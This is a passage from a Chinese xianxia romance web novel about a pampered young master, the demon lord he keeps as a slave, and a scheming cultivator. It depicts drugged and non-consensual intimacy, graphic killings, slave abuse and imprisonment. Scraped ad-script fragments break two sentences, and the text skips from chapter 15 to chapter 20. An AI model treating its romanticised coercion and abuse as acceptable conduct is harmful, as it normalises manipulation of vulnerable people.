一个巴掌,“兆歧你疯了吗?你不是有妖力吗?自己治疗啊!” 兆歧偏了一下脸,面上的血顺着下颌流到脖颈。 他自言自语,“我可以让你痛的,我可以让你害怕,但是为什么下不了手呢?看见你痛苦,我也很痛苦,这是生死契带来的效果吗?” 他又说:“我的心脏很难受。” 楚青琅咬牙道:“你被一剑穿心了!你不难受谁难受?” 兆歧瞧着他,红眸幽幽,忽地,无形红光瞬间膨胀,将两人笼罩。 “小少爷,你不该将我推给别人。折腾我,打骂我,都可以。但是你不该让我做别人的奴隶。” 谁让你做别人的奴隶了?我都把周然快吓死了,也就顺势吓吓你而已! 不管你做没做,他都不亏。 谁知道你直接掀桌啊! 楚青琅算是有苦说不出,他走过去,掐住兆歧的脖颈,靠近威胁道:“你敢让我做亏本生意,我把你皮扒了!” 面前的人刚刚还掐着他的脖子把他提溜起来,现在却仿佛失去了骨骼一样,被他一拽,就整个人栽进了他的怀中。 脖颈处被呼吸喷洒,粘腻的鲜血将两人沾染,腰间缓缓攀附上两只手臂。 刺穿胸膛的剑尖锋锐,楚青琅感觉到刺痛,刚想推开,就听见耳边兆歧轻声说:“小少爷,你要不舒服了吗?” 什么? 直到看见那黑色嵌金的剑柄,他才忽地想起来谢尘缘那厮给他吃的丹药,之前就是使用了承影就发作了,现在他又使用了,那么...... 楚青琅刚思考出结果,灵魂深处就传来瘙痒蚀骨的感觉,他一下子软了腰肢,随后被腰间的手臂支住。 渴望将他理智寸寸泯灭,朦胧间,兆歧白着脸,神情是异样的阴郁。 他低声说着话,像是在解释,又仿佛只是自言自语。 “我本来不想这样做的......” 阴阳合道决,是一门双修法门,但是它不同于一般的双修法门,这是专门为寻求恋人的爱慕所生的,一旦修炼,两人必然心生情意。 他伸出手搂着已经失去意识的人,伸手虚虚握上那脖颈。 是的,生死契并不够,这样才够。 楚青琅听不清他在说什么,但是猛地想通。 该死的魔尊,竟然设计他! 先前他用承影的后果被魔尊记住了,因此故意装作要杀了他的样子,就为了引他用承影,好让他失去反抗之力。 完了,他刺激的太狠了。 尸体啊,旁边还有尸体啊!!! 树木摇晃,光斑洒落。 细碎喘息声连绵不绝,白皙骨节攥着树叶泥土被按在树上,颤抖着。 但是很快,就被一只大手撑开。 十指相扣。 * 谢家。 谢尘缘放下手中的画像,忽视掉房中正在哀戚落泪的丹生,缓缓皱起了眉。 怎么回事,承影又被催动了? 他站起身,挥手将门外的封印去除,将窗户大开,朝着感应的方向望去。 此时太阳西沉,一层层的红将湛蓝的天空灼烧成绚烂色彩。 视线尽头,妖气冲天。 风顺着衣摆钻进房间,将桌子上的纸张吹得哗啦作响,纸张毛笔顺着桌边滚落在地,柔软纸张拢着毛笔折起,将那黑发红眸的男子画像遮蔽完全。 院中,管家张叔停下脚步,恭敬道:“仙长已至。” 谢尘缘收回视线,瞳孔依然映着那火烧般的色彩,猝然望去仿佛露出了斑斓鬼面,下一瞬再瞧,却又是面容清俊,神情温和。 他说:“请。” 14.第 14 章 楚青琅再次恢复意识的时候,发现自己处在一个山洞中,身下是一块巨石雕刻成的床铺,一旁同样是石头雕刻而成的桌椅,洞穴中间是灼灼燃烧的篝火。 而外面,已经昏黑一片。 他猛地坐起身,却发现身体轻松极了,一直折磨他的痒意渴望也已经消失不见。 难道那个所谓的阴阳合道诀真的有效果? 他试图回想,但是记忆却异常凌乱,他只记得自己手中是柔软的发丝,身躯交叠间死死掐着一人的脖颈,然后就是粗糙的树根,狰狞的尸体,温热的鲜血,还有那连绵不绝的仿佛念经一般的声音。 楚青琅抬起手,发现指尖上满是剐蹭的红痕,又解开衣服查看起来,出乎意料,身上倒是没有什么痕迹。 这倒是让他有些想不通,他还以为当时失去意识的他已经和兆歧双修了。 想不通,他也就不想了。 他打开面板,发现任务进度已经来到了80%。 好快! 而且他没死,任务目标也没事,看来他的任务完成有望! 楚青琅不禁呼了一口气,他站起身,身上盖着的黑色外衣顺着落下,被他抓住。 这是兆歧的外衣,但是他人呢? 楚青琅朝着洞外走去。 外面月光清亮,星星满布,他发现这里应该依然是骆山,只是不知具体位置。 心中疑问成团,树林间却突然传来一声狼叫,他猝不及防,下意识的倒退了一步扶住了冰凉的石壁,等到安静后,他悄悄的朝外望去,却猛地对上了一双红色的发亮眼眸。 楚青琅:“!” 他转身想跑,腰间传来一股巨力,硬生生让他朝后躺去,直到撞上了一堵温热的胸膛,他才缓过神来。 紧闭的双眼睁开,楚青琅嗅见了一股浓郁的血腥味,他拉开腰间的手,转身劈手就是一巴掌。 但是他的速度对身后的人来说实在太慢,那人直接抓住了他的手腕,一用力便将他带到了面前。 楚青琅也随之看见了意料之中的脸,他咬牙道:“兆歧!你设计我!” 兆歧一只手拿着毯子和吃的,身上已然换了一套衣衫,他放下楚青琅的手腕,神情不变地说着慌,“主人,昨夜我们并没有亲密接触。” 楚青琅收回手,回想了一下自己那零碎的记忆,又想起自己身上什么也没有,便信了。 他昂着下巴问:“那也是你强迫我,这次回去我要给你脸上刺字!还有这里是哪里?为什么不带我回家?” 兆歧并没有回答,反而越过他朝着里面走去,将手中的东西放到了石桌上。 “喂!”楚青琅皱着眉走过去,“贱奴!回我的话!” 声音落下,在山洞中引起了一圈圈的回声,惊的楚青琅眼睛微微瞪大,他左右瞧了瞧,又朝着兆歧那里靠近了一些。 他的靠近瞒不住兆歧,唇角微挑,修长双手将包裹食物的油纸打开。 金灿灿的烧鸡,冒着热气的羊肉饼、蒸梨饭还有一份香甜的小吃,很快就摆满了石桌,彻底吸引了楚青琅的视线。 兆歧仰头,他说:“主人,我去城里带了一些吃的,你一天没有吃东西了,先吃饭好不好?” 楚青琅原本是不饿的,但是当那些吃的摆在眼前,他的肚子就开始咕噜噜地叫了起来。 他红着耳根,面上却强撑着主人气场,冷冷的问:“不吃,送我回去!” 显然,兆歧不想遵从命令,他垂下眼,火光照亮他的一侧面颊,仿佛一尊没有生命的石像。 楚青琅走过去,抓住他的头发,“兆歧,你想带我去哪里?” 兆歧的神情有一瞬间的恍惚,脖颈被强硬的上扬,篝火明灭,可以看见一道道红痕一直延伸至衣领深处,还有那已经转为青紫的掌印。 在他的逼视下,兆歧说:“魔域。” 楚青琅不可置信,“你疯了吗?” 兆歧说:“我能保护好主人。” 楚青琅嗤笑:“就凭你这个筋脉俱断的废物?” 兆歧仰头蹭了下楚青琅的手腕,“我已经快好了,双修可以快速恢复我的实力。” 再加上那些莫名其妙认他为尊的人,吸取了他们的生命力之后,他现在已经恢复到了金丹时期的实力,就算是碰上青云仙宗的内门弟子也没有什么怕的。 既然不忍心让小少爷痛,那就带回去好了,这样的话,小少爷就再也不会有机会推开他了。 他的眼中闪过一丝冷芒。 兆歧又说:“主人没有察觉到自己已经完成了引气入体,到达了练气期吗?主人不用去仙宗,和我在一起,我可以提高你的修为。” 闻言,楚青琅下意识地检查了一下自己的身体。 兆歧说得不错,那些一直逸散的灵气确实已经规规矩矩地团成一团,漂浮在他的丹田之中。 看着面前的魔尊,楚青琅缓缓收回了手,内心不断的权衡着。 经过先前的刺激,让他确认了他的想法是对的,但是让兆歧和别人双修已经用过了,不能再用......而且后果太严重了,当时魔尊真的很吓人…… 不过他一定不能去魔域,但是看魔尊现在的行为,显然没有给他拒绝的余地,那么只能借助外力了。 对了,谢尘缘! 他和谢尘缘约好了明天要见面,他要是没有来,谢尘缘一定会发现,就会来找他,到时候他直接把魔尊给卖了,肯定还能赚一波负面情绪。 但是现在,他还是要小小地表演一波。 楚青琅拽着发的手下滑,掐住兆歧的下颌,神情冷漠,“我要是非要回家呢?” 兆歧的红眸宛如一口枯井,他弯唇笑了下,说:“主人,我会发疯的。” 楚青琅用力,指尖陷入皮肉,一字一句道:“你威胁我?” 兆歧摇头,“主人,我只是在保护你,仙宗在京中扎根极深,而谢尘缘如此对你一定对你有所图谋,但是只要你不在京中,他的任何图谋都是镜中花水中月。” 兆歧伸手,覆上他的手,灼热的掌心让楚青琅有些发愣。 他听见他说:“而我,是完全、彻底被主人掌控的,我绝对不会害您。” 有理有据,晓之以情动之以理。 沉默良久,楚青琅仿佛被说动了,轻哼了一声,啪的拍下了兆歧的手,坐到了一旁。 兆歧将食物推过去后,又带着不知从哪里拿来的手套将烧鸡缓缓地分开。 篝火在一旁噼里啪啦地烧着,外面夜风起,吹得洞内火光明灭不定。 楚青琅身上披着兆歧的衣服,拿着肉饼小口吃着,他看着这个奴隶此时沉默驯服的模样,只觉得牙痒痒的。 虽然同意是他同意的,但是也不能让提出这个意见的人好过。 对于他来说,别人的痛苦就是他的快乐源泉,而半妖的经历一向都是坎坷凄惨的,肯定能让他得到不少乐子。 于是他接过兆歧递过来的鸡腿,带着恶意问道:“你生在魔域?” 兆歧垂眸,将分出的鸡骨头一根根的摆放整齐,仿佛没有察觉到他的恶意一般,语调平稳,“是,不过我不是妖,我是魔,凡人一般分不清这些。我的母亲是被掳来的,生下了我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 之后想要掐死我,但是被父亲发现了,就自己自裁了。父亲在和旁人厮杀中受伤,为了恢复伤势想要吃掉我,我就杀了他,吃了他。” 楚青琅动作顿了下,他看着手中的鸡肉,突然没了想吃的心情了。 他把鸡肉扔下,伸手拿起一颗酥糖扔进嘴里道:“噢,所以你才这么变态。” 扔过去的鸡肉打乱了一旁摆放的骨头,金灿灿的表皮上只有着一个浅浅的牙印。 兆歧收回视线说:“也许。” * 天色越来越深,一片漂浮而来的云遮蔽了月光,就连动物的嚎叫声都消失,洞里一片安静。 楚青琅吃完饭之后,兆歧不知道从哪里掏出来一些洗漱用具递给他,看着他惊讶的目光,兆歧抬了抬手,只见他的手腕上带着一个黑色的手镯。 他解释说:“这是储物手镯,可以藏匿东西。” 楚青琅疑惑问:“那里来的?” 兆歧说:“从一些莫名其妙拦着我的人身上拿的。” 啊,这还真是...... 那些人应该就是来找魔尊的人吧,可怜,被自己的顶头上司干掉了,就连财物都被取走了。 楚青琅这样想着,洗漱完后兆歧已经将毛毯铺上,他也就毫不客气地占据了这个山洞唯一的床铺。 闭上眼,一股灼热的视线却长久地凝固在他的身上,被烦到的楚青琅扭头,发现兆歧就坐在凳子上,一眨也不眨地瞧着他。 楚青琅忍不住道:“你眼睛不酸吗?” 兆歧:“?” 楚青琅又说:“闭眼,不准看我!” 兆歧道:“山洞里常会有蛇虫,我看着可以及时帮您挑走。” 楚青琅犹豫了一下,他确实怕那些蛇虫,但是兆歧这样看着,他也睡不着觉。 于是他挪动身子,朝着石床一旁蹭了蹭,随后他看着兆歧说:“过来。记住了,不准碰我,不准打扰我!” 兆歧的身躯是成年男子,楚青琅却只给他留下了一个极小的位置,因此他躺下的时候,甚至可以感受到小少爷身体的温度,还有清浅的呼吸,和那双警惕的明亮的双眸。 兆歧无声笑了下,他说:“是,主人。” * 感受到另一人的气息渐渐平稳,兆歧从一片黑暗中睁眼。 锁骨肩膀处有着温热的气流,氤氲铺洒又渐隐成湿凉。 原本因为妖力过度使用而抽痛的头颅和筋脉舒服起来。 小少爷睡着之后并不安分,仿佛觉得位置小了,不断地挤着他,到最后一个翻身,竟然直接趴在了他的身上。 低头,怀中人散乱的黑发蹭到下颌脖颈,带来一阵细密的痒意,那密长眼睫下是挺翘的鼻梁,白皙莹润的面颊被他胸膛挤压得微鼓,兜着一张微闭的唇。 睡着的人并没有白天刺眼的傲气,变得更加纯挚。 兆歧轻轻点着他的面颊,又像记忆中抚摸着那只黑猫的下巴一样,摸索地勾着他的下颌。 你要什么呢? 要从我这里得到什么? 无论什么都可以,都给你。 我的血肉,我的骨骼,甚至是我的性命。 只要你永远在我身旁。 无光的暗中,红眸拢着一抹细碎的金光,一向平直的唇却越扯越大,直将那张英俊面孔扭曲成恶鬼模样。 幸好楚青琅没有在这时睁眼,不然估计会被吓哭。 躺着的人眉头微蹙,仿佛察觉了什么动静,偏了偏头,嘟囔了一声,从他的怀中滚到一旁,然后把头埋进毛毯里。 又睡了。 15.第 15 章 天边浮现一道道御剑身影,他们速度极快,眨眼间便来到了骆山之上。 他们停下,眺望着远方,仿佛在确认着什么,很快就收起剑降了下来。 树林遮蔽间,目光所及宛若深渊漆黑,他们身着黑袍,灰色雾气于周围缭绕,身形忽隐忽现。 寂静过后,突然有人开口,“确定魔尊的行踪在这里吗?仙门那边的走狗可都是去了太冲之地。” 一旁的人冷笑出声,“那是他们愚蠢!轻而易举的被大人设计,魔石传来的消息,有人在大钦京中见过魔尊,不过大钦京都毕竟是仙门之地,一定有着检测魔气的手段,我们先外面埋伏,等伪装之后,再进去寻魔尊。” 第一个开口的人皱眉,“但是那些魔侍都已经死了,他们说的话......” 有人抬头打断他们的对话,“妖...不,是魔气!” 几人顺着看去,只发现不远处山体之上,有一处魔气伪装成妖气,如罩,牢牢扣在一个洞口之上。 对于修仙者来说,妖气魔气都是同一种,但是对于他们魔族之人来说,两者却有着极为鲜明的区别。 因此,他们只是瞧了一下,便发现了那妖气的真实面目。 他们对视一眼,身形一阵闪烁之后,同时消失在原地。 下一瞬,他们一齐出现在了洞口的边缘,其中一人挥手试图用魔力直接砸开这防护。 但是灰色雾气击上,却只是让笼罩洞口的魔气显形一瞬,就消泯的无影无踪。 洞穴里,篝火只剩零星火星,不远处的床铺两人身影交叠。 黑暗中一双红眸悄然睁开。 兆歧起身,将身上的小少爷放进毛毯中,又给毛毯的四角塞了塞。 很快,小少爷就像一个毛茸茸的兔子一般,裹得严严实实,睡颜乖巧。 忽然,站在外面的魔族众人突然嗅见了极其浓重的血腥味。 他们猛地转身,这才发现身后站着一个黑发红眼的男子。 其中一人惊呼:“尊上!” 那男子却只是冷冷的看着他们。 就在他们想要上前询问时,却发现中间动手的人纹丝不动。 不,是下半身还在原地,上半身已经落在了地上。 鲜血顺着内脏流出,众人脊背瞬间发凉。 是面前的魔尊做的,但是为什么? 脑海中一直模糊的猜想越发清晰起来,他们都悄无声息的捏了手诀。 兆岐厌烦的垂眼思索着。 这些人简直像是蝗虫一样,杀都杀不尽。 他怎么可能是魔尊,在他的印象中魔尊可是还好好的活着的,这些人找到他身上,简直莫名其妙。 灰色雾气在他思衬之时弥漫开来,几人也隐匿其中,但是这些却完全无法阻挡兆歧的视线,他轻而易举的找到了那些人的方位。 兆歧抬眼,神情漠然。 他需要在小少爷醒来之前,将一切恢复成原样,还有身上的血腥味也要去除。 不然小少爷一定不会再朝他怀里钻了。 * 许是昨夜夜风凛冽,今天天气并不好,薄薄的云层将太阳遮住,整个天空是白而淡的。 稀疏的阳光落下,照在河流上却是一如既往的波光粼粼。 楚青琅随手捏起旁边的石子,朝着河水里扔去,“咚”的一声,溅出了水花,落在了正在摸鱼的兆歧身上。 湿漉漉的河水将衣衫浸湿,行动间勾勒出男子精瘦的腰腹,水珠顺着下滑折射出耀眼的光芒,察觉到了身侧的动静,兆歧便停下动作,疑惑地望了过来。 楚青琅气哼哼地说:“你好废,都说了那几条不行,我要最好看的鱼!” 在野外的河流中要一条长相“好看”的鱼。 来烧烤。 简直是故意为难。 但是兆歧看着岸上不耐的抛接着石子的人,却只是笑了下,“主人,马上就好。” 他英俊的面庞上带着水渍,一向令人恐惧的红眸此时在阳光的照耀下却显出几分暖意。 楚青琅:“......” 他有点郁闷。 他已经尽力的在找茬拖延时间了,但是每次都在兆歧的冷静下败退。 从醒过来就掀翻了打过来的水,说要热水,兆歧给他用妖力加热。又嫌弃太热,兆歧就一次一次地去调整水温。他都烦了,兆歧却还是细致地调整着。 说饿了,兆歧掏出了储物空间里的所有吃食,甚至快塞满了大半个山洞。 而且楚青琅注意到,兆歧基本上把他吃过的提过的小吃或者饭菜都给包圆了。 他准备找茬的嘴在那一瞬间打了一个磕绊,脑袋一片空白。 惹得他都重新打开了面板,确认了一下面前这个到底是不是剧情中的那个‘暴虐’‘阴郁’‘残酷’的魔尊...... 虽然他只看出了听话和心机…… 不过还好他机智,说他第一次自己出来没有带别人,要自己烤鱼,体验一下话本中江湖人的做派,这才把兆歧拖延到了现在。 坐在兆歧给他削平的石头上,脚下拨弄着清凉的河水,楚青琅保持着面上的骄横和不耐,心里已经在抱头乱窜了。 谢尘缘这家伙再不来,他就真的只能跟着去魔域了,然后他的任务就只能完蛋了。 就在他又一次地把手中的石子朝着水面扔去时、兆歧却突然走到了他的面前,弯腰将他提起来。 楚青琅被放在石头上,脚被紧握,柔软手帕将那水珠给仔细擦拭干净。 看着兆歧沉凝的面容,他心中微跳,但是面上却仿佛什么都没有发现,只是疑惑道:“你干嘛?” 兆歧不答,眉眼间隐约有着戾气起伏,低头拿起放到一旁的鞋袜为他穿上,随后摊平了楚青琅的手,把承影剑交放到了他的手上。 楚青琅的体温是寻常,但兆歧不是凡人,体温便格外炽热。两人肌肤相贴间,那温度传递过来,甚至有些烫。 他猛地收回手,用剑柄顶了顶沉默的人,“说话!” 兆歧这才抬头,一双眼溢着冷意,话语却温暖委婉,“主人,有人追来了,我先去处理一下,你就在这里好不好?” 楚青琅不屑道:“你以为你是谁,要我在那里就在那里啊?” 兆歧为此皱起了眉,但是随即他就叹了一口气,“委屈一下你,主人,我会很快解决的。” 说完,他挥手在周围描画了什么,楚青琅便感觉到周围鸣叫的声音在耳边消失,与此同时,消失的还有兆歧这个人。 楚青琅:“?” 他下意识的朝前走去,却猛的发现自己好像撞上了一堵墙壁一样,但是并没有丝毫痛楚。 那堵墙壁温柔的包裹住他的全身,又将他轻轻的弹了回去。 这是什么? 走了一圈,他确认自己是被兆歧困在了这里。 楚青琅冷着脸踹了一脚空气,“贱奴!” 虽然视线并没有遮挡,但是他听不见外面的声音。想来,他喊叫的声音外面也听不见,毕竟他刚刚已经试了试。 楚青琅:......好烦。 出不去,他就重新坐回了石块上。 虽然不知道来的是什么人,但是看兆歧那么严肃的表情,很有可能是仙宗的人,毕竟魔尊自己的手下,是绝对不可能对魔尊出手的。 那么仙宗怎么会过来,他们不是都被调出去了吗? 想到第一次见面谢尘缘说的话,楚青琅隐约有所明悟。 很有可能是魔尊的身份泄露了,所以人家过来准备斩草除根了。 但是根据后面的剧情来看,兆歧是绝对没有被抓住的。所以,这次兆歧真的会像他说的那样很快就解决这件事情,但是等他回来,估计会直接带他回魔域,不会再陪他玩什么主仆游戏了。 这也就代表着,这一段时间就是他唯一能够逃脱并且联系上谢尘缘的机会。 那么,到底要怎么把这个禁锢解开呢? 楚青琅握了握剑,随后像是才意识到一般,将其举了起来。 * 淡薄的天光下,水流潺潺。 岸边空无一人,显得格外静谧。 忽地;一道激昂的声音凭空响起将其打破,随后,便有身影突然出现。 “该死的贱奴,还想拦我?哼!” 楚青琅舒了一口气,四处望了下,转身挑选了一个地方就准备动身。 只是他刚走几步,一侧却突然传来了轻微的鼓掌声。 循声望去,他发现穿着白衣神情温雅的谢尘缘就站在那里。 谢尘缘注意到他的视线,放下了手,笑道:“如若不是玉儿从里面将这处幻阵打破,在下可能要和你错过了。” 这个幻阵并不是单纯的蒙蔽人的视线,更多的还是在履行保护威吓之责,这也是谢尘缘过来时没有第一时间解开的原因。 毕竟这个阵法除了设阵的主人,外人要想强行打破,绝对会发生极大的动静,这样子的话,就和他过来的目标相违背了。 就在谢尘缘思忖这如何传音教导楚青琅从内部突破之时,他竟然自己做到了! 看着面前红衣灼灼,姿容明艳的少年,他只觉得心脏诡异的发烫,指尖都忍不住蜷缩了一下。 楚青琅本能地冷下了脸,讥讽道:“受不起这声玉儿,这个只有家人能够称呼,谢兄还是直接称呼我的姓名吧。” 谢尘缘怔了一瞬,再次开口却是带着轻柔的愁意,“玉儿是怪我未告诉你丹药里有悬灵草吗?” 闻言,楚青琅更气愤了。 他直接走上前拽住了他的领子,咬牙道:“我从未想过你是这种卑鄙小人,竟然下此种恶毒手段!谢尘缘,你告诉我,到底为什么?不然,别怪我剑下不留情面!” 说完,他猛地将承影剑拔出,横到了谢尘缘的脖颈上,而随着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他动作,锋刃很快就划出一道血口。 楚青琅面上仍然是沉郁满眼戾气的模样,手上却轻了几分动作。 他真怕自己真的一不小心把这个男二给弄死了,到时候任务完不成了他能给自己气死。 但是很明显,谢尘缘并没有体会他的好心,反而主动上前了一步,弯下了腰。 于是那血口分分钟扩大,鲜血顺着脖颈流淌而下,浸湿了半边衣领。 他说;“听我解释好不好?” 语气低柔,浅淡的眼眸微弯,看不出丝毫痛楚。 楚青琅挑起一只眉,后退一步,直接将剑扔到他的面前,一副倨傲冷淡的模样,惜字如金道:“物归原主,解释。” 谢尘缘眯了眯眼,直起身子,掏出了手帕轻柔地按住了脖颈上的伤口,慢条斯理说:“玉儿知道,师兄这次并没有及时将我们这些弟子送进宗门,反而是出去了。而促使他们出去的事情,便是因为魔域那边的魔尊想要斩天柱,却被太虚真人打退,从查州逃窜到西州的太冲之地作恶。为了彻底杀死魔尊,掌门便派宗门子弟尽数支援,而西州距我们东洲相距何止千里,因此才拖延了这么久。” 直到血止住,他随手将手帕扔下,弯腰将承影捡起,“师兄他们其实寻到了魔尊的踪迹,但是每次找到的却都只是一个傀儡。他们便意识到不对,来信让我们警惕,还附带了魔尊画像。” 谢尘缘气质缥缈,神情愈发温和,凝望着一个人的时候,便格外具有说服力。 “我看了画像才发现,那个人就是那夜带回去的奴隶。而且,那次围着打他的人,都已经死了。还有郑章,几乎去了一条命。而我在过来的时候,发现一处血腥气极为浓郁的地方,周家公子想必已经遭遇不测。” “玉儿,这一切都是你身边的奴隶做的。丹生曾亲眼瞧见他杀死人,而那人还口称他为尊上。” 楚青琅却只是望着他,对于他说的一连串的人命仿佛极为漠然。 他说:“我问你,为什么要如此对我?谢尘缘,别转移话题!” 谢尘缘语气依然轻柔,“赠你丹药确实是好意,毕竟你身边有着一个魔头虎视眈眈,而且他毕竟是魔尊,却被你当作奴仆使唤,以防万一,丹药可以暂时让你使用其提升修为,加上承影,便可自动攻击......不用承影的话,效果不会如此强烈的,因此我才会让你三日后来一趟,到时候,师兄他们就会过来了。” 楚青琅冷笑:“照你这样说,还是我自作自受了?” 他五官明艳,一旦生气,那双眼仿佛在火中萃取出的宝石,映着这绿意浓烈,格外摄人。 谢尘缘克制地咬了咬颊肉,握着剑上前,直到站在他的面前,才说:“那照玉儿来看,要如何才能出气?” 楚青琅说:“我要你也吃那丹药,体会一下我体会的感觉!” 谢尘缘干脆点头,并不意外的模样。 他从怀中掏出一株闪着微光的紫色叶子,“这是悬灵草的叶片,效果相同,不,比炮制好的丹药效果更加强劲。” 说完,他将叶子放到了舌上,却没有急着咽下去,而是轻弯腰肢,让楚青琅看清了他的动作。 斯文俊美的面容犹带笑意,他张开唇,洁白的齿,水红的舌,紫色的叶片边缘是利齿状,咬动间,利齿划开嫩肉,一缕缕浅淡的血线很快便氤氲成粉色,积蓄成血洼。 随着东西咽下,谢尘缘白皙的面皮猛的染上了红晕,神情恍惚了起来。 不过很快他便抬手按着脖颈,硬生生的将那伤口重新撕裂,用疼痛凝聚起意识,勉强道:“那玉儿可以和我回去了吗?伯父伯母很担心。” 楚青琅微微张大了眼,他模糊间意识到,这是向他表明,一种惩罚? 他就这样瞧着,直到远处的一声巨响将他激醒。 楚青琅明白,时间不多了。 他拽住谢尘缘的衣袖,快速说:“你的这个效果什么时候发作,给我忍住,带我回去!” 谢尘缘直起身,重新变回了那谦谦君子,他安抚道:“引走他的是青云宗的师兄,现如今大部队并未全部过来,我们是打不过魔尊的......我得知你消失后便请他们拖延了时间,独自出来找你,别担心,我带了传送符咒,时间是足够的。” “那我们先走......等下。” 楚青琅停下拉着谢尘缘衣袖的动作,看着他疑惑望来的目光,想着自己的任务,心中又生一计。 面板上,第一个任务的完成度已经到了80%。 只要最后骗魔尊一下,没准就可以完美结束这次任务了。 而且只是骗一骗而已,等下次见面,魔尊应该不会直接杀死他吧? 想清楚的楚青琅,看着正侧头安静隐忍地凝视着他的谢尘缘,忽地翘起唇角,露出了笑容。 “谢兄,你们不会就这样让他跑了吧?讲一讲你们的计划,没准,我有办法帮你们抓住魔尊呢?” 第20章【VIP】 第20章 第 20 章 疯了。(三合一)…… 这还开启什么? 楚青琅以为谢尘缘虽然心黑, 会装,但是他至少应该要点脸。 谁知道这个人是真的疯了。 一言不合就关人。 楚青琅坐在桌子边,将桌子上最后一个茶杯朝着地上摔去,看着地上堆起来的瓷片, 感觉有些无语。 他想不通, 怎么所有人都想要他去青云仙宗? 房门被打开, 有侍从轻手轻脚地把地上的瓷片打扫干净, 随即,又在桌子上换了一套和之前一模一样的茶具。 而门旁站立着几个身强体壮的侍从, 每当他想要出去的时候,他们手中的长枪都将他牢牢挡住。 而且问他们什么,他们都不回答。 没人回话又被人囚禁,小少爷直接炸了,把整间屋子能扔的都扔了, 能摔的都摔碎了,就连窗户都被扔出去的凳子砸坏。 但是只要他一平静下来,就有人带着相同的桌椅用具, 将这间屋子布置得和先前一样。 楚青琅愤恨地盯着他们, 直到侍从们垂着头要退下, 他猛地从门外瞧见了一个熟悉的身影,在外面犹犹豫的。 他站起身走出房间, 忽视身前交叉的长枪, 冷声叫道:“丹生!” 那个身影抖了一下,随即转过了身。 一张线条柔软,可亲可爱的面孔也露了出来,眼眸含泪,“主, 主子。” 楚青琅冷眼瞧着他,“你怎么会在这里?不,或者说,你什么时候和谢尘缘勾结在了一块?” 丹生眸中的眼泪一下子落了下来,他几步上前,跪了下来,“主子,不,我没有想到会这样,只是那个半妖把您带走了,我着急,就去找谢少爷了。他说会救您的。我,我真的没有想到会这样。” 楚青琅顶着那长枪,抬脚踹到了丹生的心口,“贱奴!” 丹生捂着胸口,却又重新爬回他的脚下,“主子,主子别生气,我已经和老爷和夫人说了,他们一定会让谢少爷放您回去的。” 怎么可能?谢尘缘的目的和父亲母亲的目的一样。要是能让自己去青云仙宗,他们怕不是更加心安。 楚青琅深吸一口气,他咬牙道:“你告诉他们有什么用?” 丹生迷茫抬头,张口要说些什么,身后却传来了一道温和的嗓音,他的面容瞬间惨白了起来。 面前的长枪瞬间收回,整个院落也沉寂下来。 “玉儿好聪明,不管是先前,还是现在。”谢尘缘忽视跪在一旁的丹生,径直来到了楚青琅的面前,伸手挽起他散落下来的发丝,双眼弯起,“玉儿,走吧,师兄们来了。” 除了这个动作,他就再也没有旁的逾矩。 楚青琅看了他一会儿,嗤笑一声后,反而转身朝着房间里走去,坐在桌子旁,给自己倒了杯茶,慢悠悠的喝了起来。 谢家的茶自然是极好的,入口有一些烫,但是却正好激发了那股子清苦香气,让人神思清明。 他突然想明白了,只要他不着急,着急的就是别人。 只是还没喝两口,就被握着手腕连带着茶水都一齐被压在了桌子上,茶水溅出,随着桌面的纹理肆意流淌。 谢尘缘站在他的身侧,浅淡双眸映着他悠闲带着讥笑的面容,他问:“玉儿?” 楚青琅眯着眼打量着他,随即伸手按住他的后颈,将人拉到自己面前,“着什么急呢?” 他吹了一口气,看着谢尘缘下意识地眨眼,恶劣地笑,“噢,我忘了,你现在还只是青云仙宗选中的弟子,没有经历考核,同样,也没有师尊,当然是要好好地听你师兄的话了。” “好狗狗,是吧?” 谢尘缘被迫弯着腰,却仍然挺直了脊背,他面色不动,“玉儿,我知道你心里有怨气,但是侮辱人,并不能让你的困境有所改变。” 他瞧见那红唇翘起愉悦的弧度,黑亮眼眸中的恶意毫不留情地朝他涌去,几乎将他的灵魂翻覆。 楚青琅轻声说:“是啊,我向来没有你理智。但是我好生气,那你跪下好不好?我一高兴,没准就和你走了。” 后颈力道加大,同样温凉的体温落在皮肤上却仿佛火焰一般,让人感到灼痛。两人缓缓靠近,额头几乎相触,谢尘缘的瞳孔骤然紧缩,猛地后退了一步。 楚青琅却站起身朝他走去,不依不饶,“怎么,不是要和我一齐去仙宗,寻长生,做道侣吗?只是下跪而已,做不到吗?” 因为他的动作,谢尘缘不断朝后退去,直到最后,抵住了床的边缘。 楚青琅却按住他的肩膀,轻轻一推。 那一向温和清雅的人仿佛腿软了一般,仰躺在了床铺上。 楚青琅俯身,握住他的脖颈,未束起的长发滑下,将两人笼罩在一起,明艳面孔就这样悬在半空,笑的一角尖牙露出,抵住唇瓣形成一个小窝。 那唇红得耀眼,尖牙森冷,简直像是妖怪一般,欣喜啃噬着别人的心脏,却还故作无辜。 “你让我亲手杀了我的奴隶,是不是要赔我一个?” 谢尘缘仿佛有些无措,困扰地抿唇,做出一副隐忍模样。 他犹豫太久了,楚青琅撑得有点累,于是他直接跨坐在了谢尘缘的身上,“快点,要不要做我的奴隶?答应的话,你不仅能完成师兄的吩咐,还能和我一起去青云仙宗噢。” 谢尘缘看着他,带着幽暗,仿佛要从那双黑眸中钻进,摸清他的灵魂,“你知道,就算你不愿意,我也有办法让你跟我走。” 楚青琅歪了歪头,又携着笑靠近,“你是再说那个红绳吗?” 当时那条绳子分别系在了他和兆歧的手腕上,兆歧因此被控制住,他想,当时谢尘缘给他的确实是解悬灵草的解药,但是那个红绳依然在他的手上,受谢尘缘的控制。 他将手松开,卷起长袖,定定地瞧回去,“你试试啊?” 白皙修长的手臂上横在两人面前,上面空空荡荡。 谢尘缘视线颤动一瞬,“是那个半妖给你解开的?” 楚青琅敏锐地捕捉到了他的惊讶,晃了晃手臂,“是呀,毕竟是我的奴隶,就算是死了,也要为主人发挥一下最后的作用。” “这下怎么办呢?丹生是我的人,我现在这样,他一定会找仙宗的人救我的,就像是先前找你一样。到时候,你教唆他让他给魔物传递消息,伤害百姓。还有故意算计师兄,让他们被魔尊重伤的事情一定会被别人知道的,而且,魔尊这么轻易的就死了,你觉得他们会信吗?要不是你心急,他们应该会拿兆歧当诱饵,引出隐藏的魔物。” “完完全全的失败了呢,要是这些都被青云仙宗知道了——” 